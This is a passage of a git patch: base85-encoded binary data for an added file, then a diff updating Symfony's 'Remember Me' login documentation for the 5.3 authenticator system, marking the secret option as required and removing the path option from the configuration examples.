z1^O<FX*i*sz$~-!;O$VetnRpACb5SMK`&|Ryc;J{jYDcLqvyFD0YVbHGFcoMx0k`S
zWV)=^q9++Y0d6+Ep#L|@1t*uBeqx+(gJ-eWW|y1bxlLlfo0gUP3MT}z+*D)hoJfkU
zI_rZe+G{C1>xc-~_Yec-8z^m3Q`fB%Xp?}NIVD<$=%^^?b*$6CDpq$pPNB2byeKF>
z9zXhp=Xu+tF?iEJ1(Mw|>SaQ*nZz!COaEjbOGn0Evy?psMXv}`9i{o&u!x3}-Uk%<
z=V{@KC3!^PLsuaO>uU3T7A-Y9Od6E&`4M4(sTcjN?Fn8lLiSpbBgUTEsCjP$|N1NX
zI-Apah@aVbvu(F^BKRGrnmF0#ZD{BPg~e8ltc{5mnQhIDP^qMNK)cZ6Dny{@jmS$n
z1SfP9eBXhVdg=9!!+j?8@@jPHp8HOX5*x26S4y3yp*>7h*qw)RU-L8-h%@l=Y^Xb_
z1I~_aFDjGc2*Y8W;Whye)ZeUVnAx7ivn5g#^D^NGsUOLynY@%xp48!J^;0WjMp~9f
z<O3A4+h>3aONW;&kB3$(KvZnp{%&Xs{tny2o{6o$xd5q|H4bl7TGGJ0Zg=}7CaD+w
zxqRm7Iuaz^N$jZno}>_~K<MWhMK&bS-Y`dC`*k<waiqb|rAO{dv^Vy}FKh;6m^1Iy
z&~!?s+Wk%|cot5RmcMz%`*e!%(UrK4W@%#Ie->=%XiCa?EtRzVMUN6ekfab{+hwh!
zfSheja_E&~W-WgeGc{KkGb=s9VLx{`sy-%sSt_j-CqBz&gdo2YX3D#?AW8NZTV!ni
zU1Ci_A%l7U{qdUxcb7sq$T03pjD5Q38x5N=6(qFeDP2lji3Bq^Z(-;D>*3a_iHtgy
zyM8j(4DPgHl5vQ(l)6F|TmF<fAH$;de0$e*T>uw9x&VfZCHz-7n}<ukda9~m%9v3p
zO3reUiwY1_Ekp!WX+|%iQ+IZFr{>r{0ab;)x%BtBZdbHWQ0o?H6FIezL^Z@HYi-&A
z3S-7%FEyWjGcdDcGY0*buey3P=vJp>&Y9=sc31ZjI8L;1ou5}oUHv4GyJ;RYNp^yh
z<+{NTA2_*+qbY{gmm1nty@8V=!|p0<)rQ>uW0TaNPc6Up2+iMZU_3t5TN-Bf$y9Xs
zBUU=-C-+)r5xJ@O+RHI}2B*hEXZX_QC^%pi>If=TdPBn~4s6Zorwd($a~W^T3t;F+
zs-&HDqGhc6*V_1E%r<Vvd3rxy|1=)EH6n26+K<AK+~Qr^Zz{@?b<<rLn)#286KE5F
zfCsZXXT7tUgSyB>1x<lO7b;dv&CCpkzr5+SEFN>Mg0M^C?RQ3tL)FmYo1dRQLeT7#
zr{O*I@c#bVa$s(z<<h8voOF$XCzPJ;Yor`h8FIBh`vSrsi1?q_i#T8r_l9|+FiXr7
z;iTFhyg>{H@45`!_lumtHy~%<JbLO(Z6N`NvrTK8YU!6mdh0F<!Z7pGl&8_#rU6@b
zE(&XZdh;8nT9Y6k+IQRz>Fsn^3My5^d^N+=6^hxqmZ)s((YVuU1By=w+l-j?C0Xgq
z;esY#)NTbpR6%xEPQXm+31{*9fQo?q+ge@yAzKar>I&|ARM2pzto@3AZZ?#Ty}8$*
zynYE?QP<YtJTfjA_w1<uR#phw!Mfba?jibijkiD}jFDCVXVt1Pdh+fhR&lhpIZbq{
zx;6ye5<2FwW|!ag#fhaJxsyCAx(}uNq_Q_$p!N%2MzQ~$rq`og65L^%o=gr6*GFF`
z3r7bB-kOXVi*|x#BD!dr*?ty))61ob^(o57C?w;2npvuiYA-u4+?NQ=2%bwD3rRIP
z+Wnq-|E=7kY$V6{#)p}idCP1zi&fO8o%vV|h2U>RR;f4#^&I2vi>M<C`Q1CDZ4+xM
zPdtS1iE%nIZ)zI1#}=%Ln|pup;f~W8a=Y=5&&1trbyMRM3-pNzwNFFL$y%20+~-PZ
zs-nwoU?lJ4wRJVRS<oUk7^<|n&T{0#7{0(pc&>_(^1*Tr!YoEKb`Fm`(P>ntvUxP}
z3?0bAdyDNVKjIvSi?7ji+dMCvyW;JhY|x?E`fE)Or?NJ=(z{nFeX5CD(SLgWE@vJo
zDT`u_x4J=pOs|X-nUrf;i)%l&Xh3TQU^mO?r6a}H1a2)zL@>4E=yC$F<A`TFTb0dg
zQvpU%?8W!U=ciXs&q;W6`}BO0p3`#Fu~9c_neqv>x*a-^>HN+!_(}fgm-4*V#G;i0
z$LILcMUZtCwH@|ppEsy`zj#PQ)6w)AE6%>8-c#s&?VA>}rVV^1#m_}b_Z-vnoKnhr
zDO0^XX-rNubAB<Zg~&tFPz{I5Q{~KY1e5w4yJZ%oV9eGH2>rdlVMJWOqODw}<V@Wo
zvFOD=^_c;=d&<dV-mT4HD1G2&)6VvQWw0LFZz8cRVa;!!X9<@(^kVG8;>UHC<fk27
zA^J-kOz*~>i@Dz@rP%DJ|FVid$s`!|mE6S8!m4UMqguBBd9`oes7+^EIHgWzE+n2t
zzO9ClawJ<vaiTSC_mEaVjKWM{@Hs|6Xk_<3ia9%G9{#zkS9EI!NXk5>m7~17-Wpn`
zDbjwTnLFe&iC3<X!>8Jg`~zs@%K}4fJCaxEEd_&!XQCJPat&)XdN6x+RWFF4CCu5=
z{jmYb$;lz1q4%LOI#71rqithjG(Z#b07~W{wIo<sDl#*Zi=yU3Lc)tu`^k~@Z51Dv
zwv%Z6t84R3KHi2<t#!Ubg^*3~%MHzZvhRu%3h&<cgr20qU(5$8lvg$539-ZFRioY*
zm<Rfc*0@*YuI?zW&fDpEbsa0c9!<L;yDQ;y-LzObN4Iq)evGp(1gK|MjOXOpb9X-?
z8#TpBTIdG#P0}V*XTEzo2Vh>m;2Hd$k(R1*vZVYnX8JOT)V2Uq7B=8@KYo+jJ#lX=
zgV)M`jQZYIFlteh5$$sE)&5e!9#t}arBB4@RMrJ{zM*#r*9vPwVvkvbD05A$+;Hnu
zL%9lKN)|kVCf&6WDgW6j6_36fr_t-8X2>1Wv=Vk&A^RR%?FixhGaDaC_vmw=GSb}K
zyo_t(u=A{~UPMKdw42mhrws9U-D@|;W-R}kHNkG(t=e`FK-E`4TgSY~DjI%%WlLr{
zuW$F=7>`?!a~b;A%yDwI+rD#k{pq9`s`i}j%|`s)n4TxQZNzVucZWg>c7y;EdscaV
zF~I~iY0q^vy6Sm*ga%|%6#7e0D%bf`PRp+wLB#{b#TWsi=cW(&UR00X8EBpyH=v<+
zR<P4@+&82-RS+_p$0e(;p%q`ZttKXc+|qi=qJm3xUx3E%YFJwL97%Ih9tFJ?A5R6T
z^d_8gp!Zuhccu+#;#0qKJ_1=F<>S)^4!lA=GCZmRQ)6aqZG=$0ow-(2IK5i+LjBi*
zg=EWRa`w_IdIQvfbIjx0)eZC3q95$jrRRFwiu=t(ZAq5=+%nrw#9ftd)Dp_s-W5+k
z=2_QDhzZ8H{o~o<ef88?>!y{tlt+7IWOU5eu_Yc9&nuJtNA?E;tO71qZOeSiUBtvw
zPIXFc4<uTAb$+I(iSjyk-tKz`%<*<$iYx8Ea&H2&P18;O_4kvI_Y*>fIarIof0By*
zZ;H>&n^bn3ztfTao0Y>frn>RZ?=KQNqIhYMZ#`4Z%?@XxaOMFXKm6xycX-m^ED&CH
z$FyLEORbq(ww@@Xy#C(Ey$YQp&LU>V22>10L)NJ6GmzkeSNA%Y+`q#VOPVV<i4ibq
zP5SWR`OB9tA05*8-`t%ooYa}6==k{forRY#4->^Xk9aGU=tJnLz@&|xo?<@Z{r|on
z9Yz%)<Uyd=%R%j0kWe!Iz$g6o$q2tOsjl_C#aG^k1g5tqFMRs+sW)Snr*!NTcg5lt
z#{dx_p**OE-&+bm<+^XL;XM0pdw56zT>_y80FgqhcqrgY(ZFn5tQ>IR@3a2?*%3*c
zzPP>Az*=BX{ZeoBq;DNiR*(jvw6h)p?H|D!`8*z`{TZ^aj=zzqq!gNpF!ncuyfz*1
zCWwCg_`&82`1HSD+ckQ09-SQ>5n}f2qxJ7BdK{sUc>Pn30dFJJ07n4N8qPEL5j_d;
za6Dai1_B7_-6>@TKBFV?s6CgQfX>K^@?p7;nu4eXG9O;?G@LCk_Wk!vG$xqkkYUWs
z%m!_0C?)j*N>YywqYJGDgo!#jJA(r#nMB`1F*2{)h7Hgg0)2!LkbfRIe2D02={PN+
zA_%I1g0=}M+ZowqK9K?@c72b-3Aubkdd|Z~=PTFs$jHef#U0G;(kJ70#yFt32%1}%
z#MqLgnB_y|-rjOJhRrx%gNx9IA;#|OWeqM`T5g@Uol{A<x$hxs&Kje``gfZgY)0of
zwPB~PA(th&w+>s8eJbbD$bC+y=WJ;G<!2yJmJkU)9X!U?O@p4vF7K^y5m1&`I>Hj*
zCC^>@`rHlA#SHyj&SWWlkIlzX(b1(pKl*;2FPnkxMFePYt~eU#OofDmzC{W7&dyqL
zSN?k7u~raoTSF;A#0xp<N|LLpaV`@KJ08;b-FYVlQJb^C@UxIuaFG3GX5n_79K%@f
zjzTuZ=3B?VP6-ToeXa!m<XZ$EQf+59y(ySOz-H(g3v!n4Wwk-hc7awFlhdHB)gG>>
zegPnsw45AL11Q*nnI_be!;}$0Ly$q>7E_4eeF3x<j>yb=mqM7B2jMm42rSE*1y9<4
z{5WzA>d@gF)jlZ*3=OSgFo~&#qRg+dtnNn$X>rbDfwF7!hY!|2$w1Sco$l(!ZGtR0
zc)34<y-;oNUV3MkTE}gvF6LQ>TqTv!SYsg6z9cJmZxjv84MHy89E-K7slndPW)sGX
znzgkfSw8rd{&U4>;rrU!&7f@`aPFj-LtbptM;=1H=le@{sexU^tEM{tadXfdbgzd@
z+tN0Fo`3K2^ZM3EwT(A7mz>sS`@Y3VmiJs&RaISF8?at4V|{*y?F&$t3`jiG&}eK!
z?b$yqn_?$$n-IT`jvg4kgsrc?y}Z1<#TKTkrLB#yYHn-eV4|WSd($s5zp}X{Nb)~h
zXmcxn&54K=wZn(nsA1iD6gAoUqpOS08YcmpHTafpPLI5!qhq;MK|ui!am22L#>L@A
zN262v%(PWhXdsEJWB@y{^zGX>7FOB+kvmk1NXZc=YaRF1uI&{Yt64^enI-2SmCFIF
z(s8Nr9#I-xBvtRv-GD4)MWq5udXkG5FIsJhO+*-P31$NaFZ6_j6Fv&|$Dy+v99{`G
zyz<>Pm!%}b{(WHIx=GIUe6dE69XVVzA6S@Eu}sDh@5YbW>dJ`_v1Wk+KEhFgYCmuA
zhfY6VUbbtM-gkra+j?-5#FlDl7!ZzJ!#1LQIfnE}$;o`?KQ3`{a=J39TUlKtr{x+V
zmEJh?v?Mw#j21rQ*)}<2mz4WI_iyC(QW$muJU$|&3CIZAfE)#gYeu`Zt;c<?WDhk+
z@9{ygZ|D_uejo!Mlj6bb@NaHz#-R2#3AxsSLP8)^cV3Zme?D8<ViNCO4{TbWA@j6!
z0lmG(S&Z3R&3Rp8NFa7;@9+QG%!By`<ShM9v42u9|14ynzeb8eWWKUzs1!Vs)!uxY
zS==^(guw&DTEn|ls1Jo&O&syxfSm{UU6iHvAl(}z@?k>!P)aiH7f-x&hlx9bXLX*j
zzfoWQV|SovhF9Z@M<CxMAZ3h@`>iD92;yxy8o%QS;=Y{q!azyfZa1S($45&m+oe};
z68j5v#XkCwdv&Xfc=KBAnHFzjcTXoD%+~A`0&_}1s70<;mSlg9i8kvOEiJ9Bil5{s
z$liP&dPxotsmC>2TfV8ODIMqGH;@Flj6*K0ZY~{csjZhSPmHHJk|~%(b8FT{1Ek}i
z6nb@<9yH#Q)#<Lv>BI}zI*+p(HIu{x|F|ED>%aH)=sp9M`lR>o`!~Lre;+x$dCd`c
zofi{Xci%!1`>{^Jv~-|4K+adstgbnk9vr{j36M<l3xBg^sTetTScnJ=76fV^EiJ|r
zGjpqh$)8dOK_Uo*K5Y!bmh|9it7SY~f_aiEm1qIdil)|9k|EH19JIbmkPyF2s2{!l
zie%~g4eDXL(#GcI(JpoUqeJk=_*81V5{ohT<bzP-P1qWzX=xAJOeKedt-T51p08s~
z!IwEXM@lfeR?%s3PMdvg9`%G|aL{i+YI7(5j$4aR53lL>vjjbKmQNChstO|bAKxv>
zBZf`AG|IXk(W!)>gpT)+RM}X$j*~xog2({EKs%st9yPu{NAFn;VyhHFN&~eIgJ_3`
zgN1pK#>efO$zAtfAFSZpB!l>WJYH3w1?@=4=AO-{amzaLs(O#=`tKz=0*v(pqyX^l
z6tmyE1j?3Pfl)yF92B8ZLEmpAe5*a67wwL;!vi@G;S|CIwZVk97MgX6OSayk)2*cx
z8N3FE4_p$^jzlc3KhF{VClF{4Lz(-nBd@NrE607S^`;>l5dtm&F)?hMwt61%pzBQ5
zA10(P!@QtCND0h8PFM#zA`zVP1^F<p;q;8`FH_I#X7d_~5uR9cUbZU=#RA<{5`QKB
z<M^zlZJ?rR|Ni~jjT^+UyKw4W2Zt<Bsu%)mIMlwoOu~s_n+V{ke3R%ep57L)0{lQK
z+S=p<;ofd4n7nJ0N7$F_u<*lPtoepDBtXXWW5yZam5sF$ObgWJD}&?&%|bZdF)kC4
zO;!q>Nl;n=S)1nrkNMJGHScM2#6%y@@ta)G5Bnv~{$~iP1j7(aMrEa}iw8p{4a?ii
z+8O_`+JsS#MtF8>jG#_JaoI+bvd5R7?TL8<bC3(bL?s*Fu-MgJoMvujCg)E@0z!a8
zS{l={6cWM)EfDv27x)xuh%&nFa?xJ6di5O`Q-n34Ms3`PbDh3Sr02GDD-JUC^;oqJ
zPGeF@VSUcQ!8&Jp>jnvp9s}NRfbbb8Qz(Vnk>g%91l3H+>XzFgTuzoq>ziC7MN#v!
z&?;QRav?>g_1m}Fsb}oI7^t*%gUnze5OT9?*!_&?z`*vW`>jSf+1VsR(-}ER*(N(`
z5MG%q9(YP@00x7^-o~iguXb60i=XDS{z=SF%9$-li#zzs*icApETJql_|^|!?y^r<
zVZgKW_1hrJA2FK<sj-8DI-uCLC8Wx+aXK06AkWxqyr?JPR1h10miA*5A`5SRQ)e^`
zlut@xYtSndn8n(lZsQK{+Yk|xP#A!@)nwHwKEq{aXGa9qQq%65Djb?F0rb#LjW{>U
zACq#HoN?*E9XM}Au%Yz9ydxCXyavKCF3m5$1$jB4NCs>(f8Y{+0Yp0XScjgAkdih~
zPhbjzUH{6Eo=}W)S<zcZRW)QV8(adyTM2C>Aj)J5)wGB2X>0p7kB>lIZ2~a#01ekg
zF|BpjWF}A#M2HX*=&X$D$m#>ErSnS*dQt1;cw2(JK(1Nl7Zeb*6@jmQ-U%ojZFX0C
zM(s)$T`OV08Q736$BgPKKi)|H$}{a;2Rklbgi9qwfo~geEbzvgHr6SR#MA#L#qstR
zra@V+jY#=5vj<&|o8U*q0ly3BV%9d2V%hWpI7HCb=Na)IPygQ4f$oq0$5H-UT@Xmz
z7$7z4yk+?uW5qRWeMWxGSnyy3cDdgf|6h4<f3)UFvBtmt+Mn}(-tN81u=@WPF=J;<
z78Z#9Z2L);?Fka9HnQb4f1UYVHyf1KUw3C$;XiPw3_S45$OY!6i#5}iY;J8KnEu>v
z%H*$8$&{4-O6j~Ud1<!Bf1Sf!h5rQpA`D-)7_B+c{~1<C+kbq|w`xaqV($Iuz#ION
z%6Fvyj(F^>W837bjp0vsanWTjs~HlY9OKWUY<X8=h)*0$ccs(Z{m>m_6~2H>1|p4r
zjgI5*ZnZmskPv7Dc;M5|Kik*NbRhKt!R=~nX*o*3fow!8c&Isk56`aARzvZ;rw{ti
zV7<!R9}q0#)2C0rCr}r1UARCT-zE!%<9QmE`b-ah4{7YZanbYN$kD-fe46R}Vl8_V
zFA217V5%n{J}|QGu+j%IS3TiNqZZpj9Bh}9C#Ou{26Nd%+iK-xRglK%=}7{T#h3Ts
zS*aKT-0g{z<BkPnGh9=76rVlvcZo<}=(!`lcfMRuAD@^Aij95OGgAkOU-OVCkemV`
zq7FCR!;H{7Y%-u#6%`fTJNCI@G#XhC!5{<^>R|TfbynKn{#AK^6P!ir5+0U<f&WNG
zSAPZ(c$Hw@f%TH_Fw?E4ysx99qj3HDbvtphPC+?k<<!hf3TV3L;NSq+1b?^T@1J7d
zXB~z`1Oy6tZs8?0vmWvb2!OSX#6sW11UU0wzkU_ob*|KVS$!7FWccOFFw_D4Ig)>7
z-tJoO%ojpGE3kS&?XSw61r;+fF`>75A4YNZ#Lryk*;Usj5WRDb9OM`m7Z(`k$TM;8
zhS7~(kM#8Peg(1E(9l~@Vg@dhji>@>K&ki~MLdx8gGB=G1SefpP3<Jvo1i%e<~F6J
zUI;u!NlEE0HCOm&J0ARCDqC}H%r>M4m*t+WE;eH-(m0R6bq;_3<@ye+QEc|5a$iGw
zV8j&C)M;&QPAn`80YM8h4OEe5uUzpR85tRqf|l%H@11~ZMSo_*+neVp7zN*gpD`v3
z9_-GJ8x%MY8gn?7$L8nfKSF|Z2I2f6Ir$CP7T}W-7z8IK)~0p-UA=YlreojCNem&h
z;U=YT_b3w^rxl*3;kUK5r9@sNIsQyMPb&-BOokMf^jQK)J9MNZzGh)@MJbi0WFU4h
z<<qBQIX%&XDapw|exL|+)xh?C&B$jO(2Pe*1Lj5S<QUjQU%tpd_1>q940)CYxVHUo
zL<%-=mfk-eq?C-Wo5w$*(Qzp$DIsK4`d2q#sURe(EXX()d>@n6ulBY`gA24b>`PeC
z+EH5~2(Bun7GQsM0zY=WQ6Aeqa93L0mRRU#ts1v8EEzDfvZ{MhaFKO=dl#PEsAK>s
zq^0#o1RVT0;(C9>p;V`7)!o;}2W(Jz+GpC@+D$Dj7ez$qGKBb|3k~UEa{;rZr(xlh
z6XiPGU_03DV&i;no{vcJ?wp!^77a%Q!nZT4z=030+eJ9uHN3~XYOH*Usl13ywHuG}
zD$;ZcLVAzdXKYskSU@<#@|GtDQfhC1ZJxV$x_pm#qkQ~3sTRxKgpMrcGsu?-+LIGE
zyqk-kGuYc1`nA^9CNw>3zao&*^vs*jR;0B-_Y)tx&L%JSv!{IR8xdv`A7x^VpE8_1
z(tCT#EFpwN>#Nv4`QBVS*}(HS|9!)p9!g2f!nzwK9xwOVb#i6*FcG}I^}3K^jE#*i
z)A~Y>3F*>%3GV@(ehjf^273BCc^coof4>K4O9Y#k+r}aTF<!3DXsO}`UarBPxfw`G
zRk&!C&t$-w%F4=8F^h+cJu0y))oF#Tnd0v?|MTY^3k!>&eR4OBS2J?<ldXyg_wJ;r
zy4JX|_kce`r$qk#5MdBRMCr+U?@}v@jq)OZOi!^q)rp@-FVE-}c<QNTZm=4lt9^jW
z(o*XuLP8=2-V@80DXC6M#dHVSMM2JpTYoRu>HurRP*77ttq(Vlql-QJ`MnVF;>?*d
zse3G}tZlWmwW>CfX$1uW^5NW)8LlwMFuT&2&6Uacht135&28gd2ZJHf>-3x7uzLDb
z2_|N1ds~2)_dP&lkE&lD<)D*FCU#z4N%QpbB3y>g19RxNScFIpu=ByEBwc@*l8};i
z_Vq=Eg@rLmx(bHgy_l7irI~AR9j*(Ai${$;YOq5hk?id354giSySs%Q8mw>JxKZEG
z(22*#x3;#1G>;QL2&V`LSv>&juz$E31F+MpSFcLPg5)1uI&BBlqfo;HnB7J2R@Ga#
zCI8H$k^`>V8YbDv$tg$yyRZ$`;u8Y{gZ{v#edY~+KffdlMw*6(CY5=65N<r$iYGA3
z1CweCRGdLio(=#x9$Q*+ZLcrHi%*Ej0i8lP4CtAY)8xj|C<7zoUDy$i!*#;|D`P8n
zf<E=%?{S9S?H?HE#NpzWmX>A*N_Z|@xL~5&27J!^e0+gmk39w#l>z1-9QBxlgan34
zjvu=V7$BkTJeo!Pd&Zwnrz1x%r=m=-We%Y$eVJ&q)Rl*s5sswuwY4`%NJ#i$%|Q@w
zY38%Ry2=GTNDF!K;zh{aWC7fYHg|XdYJabw3_)k^_bf+;h=@v=&?BI0v3*G-?pYWN
z??KvF#UAm&trqtm=m!1hO3t1igjRP{9>KxGgdT?ZrtKfi+LS4ub1bwlpE-jt9*So3
zqGFB`Ut{2Y(naBMFuevHelPKIZ)6PnchSM@#6xT*6mA>~o3RlQ5oX8l(Hy}X?4NI*
zE9lX6RhVa$_3b!DB091+uy<z*HxKI{yy5wD+TBIORMFufx&L0uFo#PR_|pGe(&WEV
zy^z#IME~bgeJZE~@`K-r44(YG8<CLG;-9PcM*sh~NCvDmbY&#Y&Gb^PLo(q91E{)n
zr-A3-*K6-Om&mO@N^U>f`7Kh2?zxNqnJ^;rm?64@cYUZo{(t-8KTj-%aX8$sU%!$n
zD<$O~aM5=5^n?RE=2~2Q<lyU^<<ngk2L=aYpd+s|7K`nSgDsz$no3CUZV^E*y@TCh
zZcTac=EX48)x<avtNv$NKauJ4^YeqK{oO7c?ZLkeUCl^m#sI6&9d-4dGp#f8^Q{1c
zE<<Uus{J+_fxX!dJc^0@W^Q?S5u_X%jVAOf5d*5=u62ZZxUQon`d2c~IFRVtQL#uw
z6c-mib95x|aALkE|2dgL>2Q<E%1RT-b<Z<TKTUMY1!d%*#i8T#S3n2=^$gnqV6737
z6+)db+gKL}2|T#;tv|HhBukYuIVXn)WRYADctza6%DZqho9tllpB}3z$_xw)w7JgD
zFq68YyL0s8AsjIdWb=y259ES&X7u;J!ZBU}h-F-I!9|$>r>nZ-3%b64fB%Y<dIE{x
z#vRT0Gsw>y-%6)aqR|hs>Vz$OZIo8x!NWDTie=k`u|*KNcmXUEx8~;TED8+KfZP3k
zTsDH3l3Mas9y4a$)*y@krWgoW_9Gpco~f&=ORc6Uj|0`UlC`xp09^UT4gPFR%ua)W
zK=L;M4t33s9Uu{#9Ki26#<{QcF+uWR$)KG)p!5;ga;Hi3_I&d{>N<g-93WIP1JHnp
zT?4bzSPko*%>=LsKo$6-1zaV-+lup$+q*OGgo)NFxp!#{yx1pS$L)X)S+fi8C(@I#
zOH5bxXa8`^s7X$js&ck`9V{q<J)?u1E86_-B^6RqIcL>b?*Y_ij{v}wQ*y*fZ4AAd
z`uVd_8MW29GixGE&=o6H#MDU%3FqX1<v5TB-pz34Of&fT1z_Q3>SLr>HydSJ(^3GB
z8xM}(c|>RzJqbwFTw$L6?zB3fiSl=o9{|%@$lO4Q2{_oA70$LmxGg1Q4Zxk5x%pT8
z-df4ZrslySKljy93xEZlLChdMwzsy@OC5s7fN{Bbu+)A9zFHdKkG7#90|=<Rk$__T
zshOE(phOR116BkigkT6P7Z#k)ai#VqXaIpzN=iiFS>o*g3Q|ObLHWdv35-1)jvRq=
z)<hS88*MZIASU2+!wj5M22OPOG*uXKQ{V;JAU5a?+XT0Bb#=`*X^UfPD#xv6gGRal
zT1;R+@b8$F)L!ACGs$^LNlCM(Pd%_M$qz0=sO6?miBgcCzyE}n^o}7!SnTJDdY(Yc
zOtaF}0Wi8?knC=g2)rB$g~~3Sh$4LN>gp;0Y;r+NfJ=kUkC-m3gdRdG5U_XX-vX<k
z39wI(RtEx4!K5Gx23@*Te`W;&_NlN$J^CnjK&k9nw-2Nfku{|nrH5~wk+3x`26iC&
z$%Zy(C`6hjPW#rGKaFJr=U*O<4m_{EK3-LQ3EFSj<K5Q@JGhm=UkM5yPIpRb>SUo1
zSO>u|6*=pR!!@1tN}!}$WmUuPCNoKU?8KmdZwB3RVP<CLsrh-OgnNzB5H7UWI?zN!
z&NH9P7o*vD&>Kd8ZG-{6eT=Oe4Blm_jxM9pN*sY$0oL`41Ta$%=+w=Oc`6oV2=4^o
zoL%nr?c2))AYFR1Nm<Xna(H+clHQe&-5?UPv$KJ&e#Q?UDPoN?YvT<4T8h34ryvp_
z9fF7i-P#Bu0c;W1)|rFVf=OBJ(y;`Ba{`OGzQ8ZVAQ;aW7^+e;<<Hx?t6z}{@bd=^
zJT1Qpep+WefH1*VvOk{(-ZRCZSzILowvsN{oBig>f&TtwkTr@9hu};i0An02bN~c4
z%x&I2UcOXE3HA`!jRfXFA+&i{dU^$6uJ!fxaof1{i8*T&5~633>6w2tnodkQ?atG|
z&wQ-AKV{o`SGVwljY^Ok08yuPuSG^gG(xOkln|QS{6dF*59e<jniI5Im0-gl+LT;b
z=|1g&!|zOp{1#FGOi#uxxS6;jkt+Zg3xheKf^7sYiAT_I)NY}2odBG}XtkGLP`jN~
zhF~7p4+JZyzP{cKf=O+Vz8R`*T`2?zYL8ft`$(-fge%4YLXBD*umaC5T+h`EWDY@&
zP4C<}nB1ycX03`M*k7TM-1)%X4Dw+w2GfJZ#)3oxS>00jnyu+dPDK!bd|g*p*QEi0
z3xu;s2-3K0j)xb()||y-q~-X9g$Zp^CxAYrDXRn*1=#vynB>j&0FMw@e>RQ)R}Y|H
zv<LF_2?&a{0m2?ffZ{jDc~FselY>Cqr|57`5~c?tG6gXEz%g@?a6SOhOe2V02vxSF
zt7R;M(r`_$2ma_Wh}pD2J^VJ|z<y7-0kk%1-C5e<z}Y%6RQ*aWsJgluP)BZeclY`A
z%C{B$(l!b52Twh8UUeOC`mI5p1j$=qrL%Z!3>QrQk_>KdZ<hd(dO7s2z~#}G=9ZQU
zuqQS)oV&U$t*zU7&}&5!TR#)~01@x%9{)1E-9!E_sVyKi?a~q@G|9Zh&Jp15QHgkA
zQQh0C(Itb21q9!8q7||5ZE?|NZ+8Ku{#f_VP)3AChe}dYP3mu{8o%?c1A}iFyWk<R
z0LpKfz{NLiw<#0;M>Fh5t4B;723EcnKi^OFjC8)RO281rMi4w@)_-iVq1A7q8_8v`
z(uAW)u1j)oqkA`=xcv|~_??KZ+YjL(y%O1`nn?BMQfsjPUlWj#W8>(-)larB|G&DZ
zPS40#_Fd@D-FS)rWrzLu#;K$K4@|QE3*$|v>m?rGg41MgKnkUx_2MWF#<2J#O-lw$
zbOCS$VBHCAAvDXLrTsN&hZOIvJ}TDXHi2zS(0X8Nb--%QUH$U}qIH=?WAlW)-+{$m
zg+j^SuZUZ3`m{d7r@#z>xWHF1o(OuVub)${qpK?vdJv%JV+ffT1_nc!-4^h@q3U{(
za568Cj*fO+I(hId1`oe!f%pZdO0&@PK4>_C3uBZgYJvR6w+_5WWp_PD_wr|zma=LC
zizRl|HMkmJf^75HKZENM&Zu4h2Zi9sT{_*--5mzrjVAd65NLOkJAO<;41NN<rp_-z
z_Iy%Oah1sRhZzzFpM9<=VBxf*#K^!PR(jvv9o$?KWO>gIuq8mYE4gQ9WHiGuw1YGb
zWyy@3oHmHd7C_er5H*hp_JOHs1f%|E8^i31<*x+8Woml*>&IKZDOtx4zTW2CH`hfZ
zAjoML5XVp8tDpV)*$z#YIUukur-U2U*4K~s^z=MU#&ITo5;&`b)-f&d($WOs<<BG*
zw7b2|AqV;gpEUi)Fw`6HdxZxVtcO{8RS!bx^=a={TZF-x1qT@XTsDpyxF(a}7YooU
z#t!c5_wHTn+OEI9KLsUaGPs=J684o?>w}An|Kap!`b2{nNHJg%z>o;m6)d6>x#K?K
zW~?-7PoYGD2mI#5#6*>I0N&Z(mX%GFv@kP^6pz|cC0GNnreKMrNJ@8t!$){M7tvPp
zcVz)P1?&cRyFCa_6L8p7jK}R<`Ujg5!-9b-Ux?r-Oths01_pMDdvLt^Ei{CLV)?*>
ucX}E$1`)K*IAsNeZyxOjUrS^?gd*ygO)0yYu-QVmBzH^cX10vM%l`wGkiLNc

literal 0
HcmV?d00001

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7b527d69ca2..5b3ce54fb4a 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -4,6 +4,12 @@
 How to Add "Remember Me" Login Functionality
 ============================================
 
+.. caution::
+
+    This article documents the remember me system that was introduced in
+    the new authenticator system in 5.3. If you're using the deprecated
+    security system, refer to the `5.2 version of this documentation`_.
+
 Once a user is authenticated, their credentials are typically stored in the
 session. This means that when the session ends they will be logged out and
 have to provide their login details again next time they wish to access the
@@ -22,9 +28,8 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%'
+                        secret:   '%kernel.secret%' # required
                         lifetime: 604800 # 1 week in seconds
-                        path:     /
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
                         # following line to always enable it.
@@ -48,11 +53,12 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- 604800 is 1 week in seconds -->
+                    <!-- secret: required
+                         lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
                         lifetime="604800"
-                        path="/"/>
+                    />
                     <!-- by default, the feature is enabled by checking a checkbox
                          in the login form (see below), add always-remember-me="true"
                          to always enable it. -->
@@ -70,9 +76,8 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
+                    ->secret('%kernel.secret%') // required
                     ->lifetime(604800) // 1 week in seconds
-                    ->path('/')
 
                     // by default, the feature is enabled by checking a
                     // checkbox in the login form (see below), uncomment
@@ -81,245 +86,404 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``remember_me`` firewall defines the following configuration options:
+The ``secret`` option is the only required option and it is used to sign
+the remember me cookie. It's common to use the ``kernel.secret`` parameter,
+which is defined using the ``APP_SECRET`` environment variable.
 
-``secret`` (**required**)
-    The value used to encrypt the cookie's content. It's common to use the
-    ``secret`` value defined in the ``APP_SECRET`` environment variable.
+After enabling the ``remember_me`` system in the configuration, there are a
+couple more things to do before remember me works correctly:
 
-``name`` (default value: ``REMEMBERME``)
-    The name of the cookie used to keep the user logged in. If you enable the
-    ``remember_me`` feature in several firewalls of the same application, make sure
-    to choose a different name for the cookie of each firewall. Otherwise, you'll
-    face lots of security related problems.
+#. :ref:`Add an opt-in checkbox to active remember me <security-remember-me-activate>`;
+#. :ref:`Use an authenticator that supports remember me <security-remember-me-authenticator>`;
+#. Optionally, :ref:`configure the how remember me cookies are stored and validated <security-remember-me-storage>`.
 
